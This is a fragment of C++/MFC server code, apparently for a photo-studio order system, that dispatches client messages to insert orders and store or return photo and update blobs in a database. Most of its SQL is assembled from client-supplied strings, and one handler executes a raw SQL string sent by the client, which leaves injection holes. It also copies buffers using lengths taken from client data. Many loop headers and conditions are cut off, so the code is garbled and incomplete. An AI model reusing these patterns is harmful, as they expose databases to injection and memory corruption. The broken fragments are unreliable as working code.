ar(&memfile, CArchive::load); g_List1array.SetSize(count); for(int ii=0; ii1) { for(ii=0; iitCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==2) { { CArrayg_List1array; BYTE *szChatMessage = ptChatMessage->byFileContent; int count; memcpy(&count, szChatMessage+(nMessageLen-sizeof(int)), sizeof(int)); CMemFile memfile; memfile.Attach (szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); g_List1array.SetSize(count); for(int ii=0; ii1) { for(ii=0; iitCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==3) { { CArrayg_List1array; BYTE *szChatMessage = ptChatMessage->byFileContent; int count; memcpy(&count, szChatMessage+(nMessageLen-sizeof(int)), sizeof(int)); CMemFile memfile; memfile.Attach (szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); g_List1array.SetSize(count); for(int ii=0; ii1) { if(g_List1array.ElementAt(g_List1array.GetSize ()-2).ElementAt(0)=="成长套系") { for(int a=1; a2) { sql.Format ("insert into dindansp([id],[spid],[price],[shuliang],[kind],[name],[status1],[status2],[urgent],[taketime])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')",\ g_List1array.ElementAt(g_List1array.GetSize ()-2).ElementAt(a),g_List1array.ElementAt(ii).ElementAt(1),g_List1array.ElementAt(ii).ElementAt(2),g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(4),g_List1array.ElementAt(ii).ElementAt(5),status1,status2,g_List1array.ElementAt(ii).ElementAt(6),g_List1array.ElementAt(ii).ElementAt(7)); /////////////// sql2.Format ("insert into dindansp2([id],[name],[count],[date],\ [clerk])values('%s','%s','%s','%s','%s')",\ g_List1array.ElementAt(ii).ElementAt(0),\ g_List1array.ElementAt(ii).ElementAt(5),\ g_List1array.ElementAt(ii).ElementAt(3),\ date,\ clerk); MyExecuteSQL ( sql2);MyExecuteSQL ( sql); /////////////// } } } } else { for(ii=0; ii2) { if(g_List1array.ElementAt(ii).GetSize ()==8) sql.Format ("insert into dindansp([id],[spid],[price],[shuliang],[kind],[name],[status1],[status2],[urgent],[taketime])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')",\ g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(1),g_List1array.ElementAt(ii).ElementAt(2),g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(4),g_List1array.ElementAt(ii).ElementAt(5),status1,status2,g_List1array.ElementAt(ii).ElementAt(6),g_List1array.ElementAt(ii).ElementAt(7)); else sql.Format ("insert into dindansp([id],[spid],[price],[shuliang],[kind],[name],[status1],[status2],[urgent],[taketime],[growthtxname])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')",\ g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(1),g_List1array.ElementAt(ii).ElementAt(2),g_List1array.ElementAt(ii).ElementAt(3),g_List1array.ElementAt(ii).ElementAt(4),g_List1array.ElementAt(ii).ElementAt(5),status1,status2,g_List1array.ElementAt(ii).ElementAt(6),g_List1array.ElementAt(ii).ElementAt(7),g_List1array.ElementAt(ii).ElementAt(8)); /////////////// sql2.Format ("insert into dindansp2([id],[name],[count],[date],\ [clerk])values('%s','%s','%s','%s','%s')",\ g_List1array.ElementAt(ii).ElementAt(0),\ g_List1array.ElementAt(ii).ElementAt(5),\ g_List1array.ElementAt(ii).ElementAt(3),\ date,\ clerk); MyExecuteSQL ( sql2); MyExecuteSQL ( sql); /////////////// } } } } } BYTE szDataBuf[2]={0,0}; int nDataLen=1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==26) { // AfxMessageBox("0"); BYTE *szChatMessage = ptChatMessage->byFileContent; char no[100]; memset(no, 0, 100); memcpy(no, szChatMessage+nMessageLen-100, 100); CString id=no; int nSize=nMessageLen-100; // CString ss; // ss.Format ("id:%s %d", id, nSize); CRstRenYuanPhoto rsSt; rsSt.m_strFilter ="id='"+id+"'"; rsSt.Open (); rsSt.Edit (); rsSt.photo.m_dwDataLength=nSize; if(nSize) { HGLOBAL hGlobal = GlobalAlloc(GPTR,nSize); rsSt.photo.m_hData=GlobalLock(hGlobal); memcpy(rsSt.photo.m_hData, szChatMessage, nSize); rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo,FALSE); rsSt.Update(); GlobalUnlock(hGlobal); } else { rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo,true); rsSt.Update(); } rsSt.Close(); BYTE szDataBuf[2]={0,0}; int nDataLen=1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==37) { // AfxMessageBox("0"); BYTE *szChatMessage = ptChatMessage->byFileContent; char no[100]; memset(no, 0, 100); memcpy(no, szChatMessage+nMessageLen-100, 100); CString id=no; int nSize=nMessageLen-100; // CString ss; // ss.Format ("id:%s %d", id, nSize); CString hasphoto="无"; CRstClientPhoto rsSt; rsSt.m_strFilter ="id='"+id+"'"; rsSt.Open (); rsSt.Edit (); rsSt.photo.m_dwDataLength=nSize; if(nSize) { HGLOBAL hGlobal = GlobalAlloc(GPTR,nSize); rsSt.photo.m_hData=GlobalLock(hGlobal); memcpy(rsSt.photo.m_hData, szChatMessage, nSize); rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo,FALSE); rsSt.Update(); GlobalUnlock(hGlobal); hasphoto="有"; } else { rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo,true); rsSt.Update(); } rsSt.Close(); CString sql; sql.Format ("update dindan set status5='%s' where id='%s'", hasphoto, id); MyExecuteSQL ( sql); BYTE szDataBuf[2]={0,0}; int nDataLen=1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==38) { BYTE *szChatMessage = ptChatMessage->byFileContent; char no[100]; memset(no, 0, 100); memcpy(no, szChatMessage, 100); CString id=no; CRstClientPhoto rsSt; rsSt.m_strFilter ="id='"+id+"'"; rsSt.Open (); int nDataLen=rsSt.photo.m_dwDataLength; BYTE *pData2=NULL; if(nDataLen) { pData2=new BYTE[nDataLen]; void *pData=GlobalLock(rsSt.photo.m_hData); memcpy(pData2, pData, nDataLen); GlobalUnlock(rsSt.photo.m_hData); } rsSt.Close(); dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; if(nDataLen) memcpy(pChatMessage->byFileContent, pData2, nDataLen); } else if(dwToUserID==35) { BYTE *szChatMessage = ptChatMessage->byFileContent; char no[100]; memset(no, 0, 100); memcpy(no, szChatMessage+nMessageLen-100, 100); CString id=no; int nSize=nMessageLen-100; CString hasphoto="无"; CRstgudingfeiyongPhoto rsSt; rsSt.m_strFilter.Format("id=%d", atoi(id)); rsSt.Open (); rsSt.Edit (); rsSt.photo.m_dwDataLength=nSize; if(nSize) { HGLOBAL hGlobal = GlobalAlloc(GPTR,nSize); rsSt.photo.m_hData=GlobalLock(hGlobal); memcpy(rsSt.photo.m_hData, szChatMessage, nSize); rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo,FALSE); rsSt.Update(); GlobalUnlock(hGlobal); hasphoto="有"; } else { rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo,true); rsSt.Update(); } rsSt.Close(); CString sql; sql.Format ("update gudingfeiyong set hasphoto='%s' where id=%s", hasphoto, id); MyExecuteSQL ( sql); BYTE szDataBuf[2]={0,0}; int nDataLen=1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==36) { BYTE *szChatMessage = ptChatMessage->byFileContent; char no[100]; memset(no, 0, 100); memcpy(no, szChatMessage, 100); CString id=no; CRstgudingfeiyongPhoto rsSt; rsSt.m_strFilter.Format("id=%d", atoi(id)); rsSt.Open (); int nDataLen=rsSt.photo.m_dwDataLength; BYTE *pData2=NULL; if(nDataLen) { pData2=new BYTE[nDataLen]; void *pData=GlobalLock(rsSt.photo.m_hData); memcpy(pData2, pData, nDataLen); GlobalUnlock(rsSt.photo.m_hData); } rsSt.Close(); dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; if(nDataLen) memcpy(pChatMessage->byFileContent, pData2, nDataLen); } else if(dwToUserID==33) { BYTE *szChatMessage = ptChatMessage->byFileContent;//nMessageLen BYTE *pData=szChatMessage; DWORD nSqlPos; memcpy(&nSqlPos, pData+nMessageLen-sizeof(nSqlPos), sizeof(nSqlPos)); DWORD sqlleng; memcpy(&sqlleng, pData+nSqlPos, sizeof(sqlleng)); char *pSql=new char[sqlleng+1];memset(pSql, 0, sqlleng+1); memcpy(pSql, pData+nSqlPos+sizeof(sqlleng), sqlleng); CString sql=pSql; delete []pSql; CString timestamp=CTime::GetCurrentTime ().Format ("%Y-%m-%d %H:%M:%S"); sql.Replace("msgtimestamp2", timestamp); MyExecuteSQL (sql); int nSize=nSqlPos; CRstinsidemsgFile rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.m_strFilter ="timestamp='"+timestamp+"'"; rsSt.Open (); rsSt.Edit (); rsSt.files.m_dwDataLength=nSize; if(nSize) { HGLOBAL hGlobal = GlobalAlloc(GPTR,nSize); rsSt.files.m_hData=GlobalLock(hGlobal); memcpy(rsSt.files.m_hData, szChatMessage, nSize); rsSt.SetFieldDirty(&rsSt.files); rsSt.SetFieldNull(&rsSt.files,FALSE); rsSt.Update(); GlobalUnlock(hGlobal); } else { rsSt.SetFieldDirty(&rsSt.files); rsSt.SetFieldNull(&rsSt.files,true); rsSt.Update(); } rsSt.Close(); BYTE szDataBuf[2]={0,0}; int nDataLen=1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==34) { BYTE *szChatMessage = ptChatMessage->byFileContent; char no[20]; memset(no, 0, 20); memcpy(no, szChatMessage, 20); CString timestamp=no; CRstinsidemsgFile rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.m_strFilter ="timestamp='"+timestamp+"'"; rsSt.Open (); int nDataLen=rsSt.files.m_dwDataLength; BYTE *pData2=NULL; if(nDataLen) { pData2=new BYTE[nDataLen]; void *pData=GlobalLock(rsSt.files.m_hData); memcpy(pData2, pData, nDataLen); GlobalUnlock(rsSt.files.m_hData); } rsSt.Close(); dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; if(nDataLen) memcpy(pChatMessage->byFileContent, pData2, nDataLen); } else if(dwToUserID==30) { BYTE *szChatMessage = ptChatMessage->byFileContent; int nSize=nMessageLen; CRstversion2 rsSt; rsSt.Open (); rsSt.Edit (); rsSt.photo.m_dwDataLength=nSize; if(nSize) { HGLOBAL hGlobal = GlobalAlloc(GPTR,nSize); rsSt.photo.m_hData=GlobalLock(hGlobal); memcpy(rsSt.photo.m_hData, szChatMessage, nSize); rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo,FALSE); rsSt.Update(); GlobalUnlock(hGlobal); } else { rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo,true); rsSt.Update(); } rsSt.Close(); BYTE szDataBuf[2]={0,0}; int nDataLen=1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==31) { BYTE *szChatMessage = ptChatMessage->byFileContent; CRstversion2 rsSt; rsSt.Open (); int nDataLen=rsSt.photo.m_dwDataLength; BYTE *pData2=NULL; if(nDataLen) { pData2=new BYTE[nDataLen]; void *pData=GlobalLock(rsSt.photo.m_hData); memcpy(pData2, pData, nDataLen); GlobalUnlock(rsSt.photo.m_hData); } rsSt.Close(); dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; if(nDataLen) memcpy(pChatMessage->byFileContent, pData2, nDataLen); } else if(dwToUserID==27) { BYTE *szChatMessage = ptChatMessage->byFileContent; char no[100]; memset(no, 0, 100); memcpy(no, szChatMessage, 100); CString id=no; CRstRenYuanPhoto rsSt; rsSt.m_strFilter ="id='"+id+"'"; rsSt.Open (); int nDataLen=rsSt.photo.m_dwDataLength; BYTE *pData2=NULL; if(nDataLen) { pData2=new BYTE[nDataLen]; void *pData=GlobalLock(rsSt.photo.m_hData); memcpy(pData2, pData, nDataLen); GlobalUnlock(rsSt.photo.m_hData); } rsSt.Close(); dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; if(nDataLen) memcpy(pChatMessage->byFileContent, pData2, nDataLen); } else if(dwToUserID==28) { BYTE *szChatMessage = ptChatMessage->byFileContent; char no[100]; memset(no, 0, 100); memcpy(no, szChatMessage+nMessageLen-100, 100); CString id=no; int nSize=nMessageLen-100; CRstfixedassets rsSt; rsSt.m_strFilter ="id='"+id+"'"; rsSt.Open (); rsSt.Edit (); rsSt.photo.m_dwDataLength=nSize; if(nSize) { HGLOBAL hGlobal = GlobalAlloc(GPTR,nSize); rsSt.photo.m_hData=GlobalLock(hGlobal); memcpy(rsSt.photo.m_hData, szChatMessage, nSize); rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo,FALSE); rsSt.Update(); GlobalUnlock(hGlobal); } else { rsSt.SetFieldDirty(&rsSt.photo); rsSt.SetFieldNull(&rsSt.photo,true); rsSt.Update(); } rsSt.Close(); BYTE szDataBuf[2]={0,0}; int nDataLen=1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==29) { BYTE *szChatMessage = ptChatMessage->byFileContent; char no[100]; memset(no, 0, 100); memcpy(no, szChatMessage, 100); CString id=no; CRstfixedassets rsSt; rsSt.m_strFilter ="id='"+id+"'"; rsSt.Open (); int nDataLen=rsSt.photo.m_dwDataLength; BYTE *pData2=NULL; if(nDataLen) { pData2=new BYTE[nDataLen]; void *pData=GlobalLock(rsSt.photo.m_hData); memcpy(pData2, pData, nDataLen); GlobalUnlock(rsSt.photo.m_hData); } rsSt.Close(); dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; if(nDataLen) memcpy(pChatMessage->byFileContent, pData2, nDataLen); } else if(dwToUserID==4) { ENCODE_START CRstUpdate rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open (); if(rsSt.IsEOF()) rsSt.AddNew (); else rsSt.Edit (); rsSt.data.m_dwDataLength=nMessageLen; HGLOBAL hGlobal = GlobalAlloc(GPTR,nMessageLen); rsSt.data.m_hData=GlobalLock(hGlobal); memcpy(rsSt.data.m_hData, ptChatMessage->byFileContent, nMessageLen); rsSt.SetFieldDirty(&rsSt.data); rsSt.SetFieldNull(&rsSt.data,FALSE); rsSt.Update(); GlobalUnlock(hGlobal); rsSt.Close(); ENCODE_END BYTE szDataBuf[2]={0,0}; int nDataLen=1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==5) { ENCODE_START CRstUpdate rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open (); if(rsSt.IsEOF()) rsSt.AddNew (); else rsSt.Edit (); rsSt.data2.m_dwDataLength=nMessageLen; HGLOBAL hGlobal = GlobalAlloc(GPTR,nMessageLen); rsSt.data2.m_hData=GlobalLock(hGlobal); memcpy(rsSt.data2.m_hData, ptChatMessage->byFileContent, nMessageLen); rsSt.SetFieldDirty(&rsSt.data2); rsSt.SetFieldNull(&rsSt.data2,FALSE); rsSt.Update(); GlobalUnlock(hGlobal); rsSt.Close(); ENCODE_END BYTE szDataBuf[2]={0,0}; int nDataLen=1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==6) { { CArrayg_List1array; BYTE *szChatMessage = ptChatMessage->byFileContent; int count; memcpy(&count, szChatMessage+(nMessageLen-sizeof(int)), sizeof(int)); CMemFile memfile; memfile.Attach (szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); g_List1array.SetSize(count); for(int ii=0; ii"; else sql="delete from dindansp where kind<>'2' and id='"+g_List1array.ElementAt(0).ElementAt(0)+"' and autoid<>"; for(ii=0; ii");MyExecuteSQL ( sql); for(ii=0; iitCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==32) { { CArrayg_List1array; BYTE *szChatMessage = ptChatMessage->byFileContent; int count; memcpy(&count, szChatMessage+(nMessageLen-sizeof(int)), sizeof(int)); CMemFile memfile; memfile.Attach (szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); g_List1array.SetSize(count); for(int ii=0; iitCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==24) { { CArrayg_List1array; BYTE *szChatMessage = ptChatMessage->byFileContent; int count; memcpy(&count, szChatMessage+(nMessageLen-sizeof(int)), sizeof(int)); CMemFile memfile; memfile.Attach (szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); g_List1array.SetSize(count); for(int ii=0; ii"; else sql="delete from dindansp where kind<>'2' and id='"+g_List1array.ElementAt(0).ElementAt(0)+"' and autoid<>"; for(ii=0; ii");MyExecuteSQL ( sql); CArraystoreinfoarray; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from [storeinfo]"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); storeinfoarray.SetSize(atol(sql) , 1 ); CGoodsinfoSet rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { storeinfoarray.ElementAt (ii).RemoveAll (); storeinfoarray.ElementAt (ii).Add(rsSt.m_type) ; storeinfoarray.ElementAt (ii).Add(rsSt.m_name) ; ii++; rsSt.MoveNext();if(storeinfoarray.GetSize ()<=ii)break; } rsSt.Close();storeinfoarray.SetSize(ii , 1 ); } CArraystoreinfoarray2; { CString id=g_List1array.ElementAt(0).ElementAt(0)+"(订单使用)"; CRecordset myset(m_pConndb); CString sql="select count(*) as cot from [storeinfo2] where [id]='"+id+"'"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); storeinfoarray2.SetSize(atol(sql) , 1 ); CGoodsinfoSet2 rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.m_strFilter = "[id]='"+id+"'"; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { storeinfoarray2.ElementAt (ii).RemoveAll (); storeinfoarray2.ElementAt (ii).Add(rsSt.m_type) ; storeinfoarray2.ElementAt (ii).Add(rsSt.m_name) ; ii++; rsSt.MoveNext();if(storeinfoarray2.GetSize ()<=ii)break; } rsSt.Close();storeinfoarray2.SetSize(ii , 1 ); } for(ii=0; iitCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==25) { DWORD count=0; { CStringArray m_seldressarray; BYTE *szChatMessage = ptChatMessage->byFileContent; CMemFile memfile; memfile.Attach (szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); m_seldressarray.Serialize (ar); ar.Close(); memfile.Detach (); CString sql; CString id=m_seldressarray.ElementAt (0); CString date=CTime::GetCurrentTime ().Format ("%Y-%m-%d"); CString date2=date; date.Replace ("-", ""); sql="select max(id) as cot from dindan where id like '"+date+"%' "; CRecordset myset(m_pConndb); myset.Open (CRecordset::forwardOnly, sql); if(!myset.IsEOF()) { myset.GetFieldValue ("cot", sql); if(sql.GetLength ()>3) count=atol(sql.Right (3)); else count=0; } else count=0; count++; myset.Close(); CString newid; newid.Format ("%s-%03d", date, count); // for(int i=1; i<2/*m_seldressarray.GetSize ()*/; i++) for(int i=1; itCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==7)//界面 { CArraydataarray; BYTE *szChatMessage = ptChatMessage->byFileContent; { CMemFile memfile; memfile.Attach (szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); dataarray.Serialize (ar); ar.Close(); memfile.Detach (); } DWORD pos=dataarray.ElementAt (0); DWORD leng1,leng2,leng3,leng4,leng5,leng6,leng7,leng8; leng1=dataarray.ElementAt (1); leng2=dataarray.ElementAt (2); leng3=dataarray.ElementAt (3); leng4=dataarray.ElementAt (4); leng5=dataarray.ElementAt (5); leng6=dataarray.ElementAt (6); leng7=dataarray.ElementAt (7); leng8=dataarray.ElementAt (8); if( pos %4==0) DeCodelong1( (long&)leng1, (long&)leng2, (long&)leng3, (long&)leng4, (long&)leng5, (long&)leng6, (long&)leng7, (long&)leng8 ); else if( pos %4==1) DeCodelong2( (long&)leng1, (long&)leng2, (long&)leng3, (long&)leng4, (long&)leng5, (long&)leng6, (long&)leng7, (long&)leng8 ); else if( pos %4==2) DeCodelong3( (long&)leng1, (long&)leng2, (long&)leng3, (long&)leng4, (long&)leng5, (long&)leng6, (long&)leng7, (long&)leng8 ); else DeCodelong4( (long&)leng1, (long&)leng2, (long&)leng3, (long&)leng4, (long&)leng5, (long&)leng6, (long&)leng7, (long&)leng8 ); DWORD rcpos[32]; for(int i=0; i<32; i++) rcpos[i]=dataarray.ElementAt (9+i); i=0; 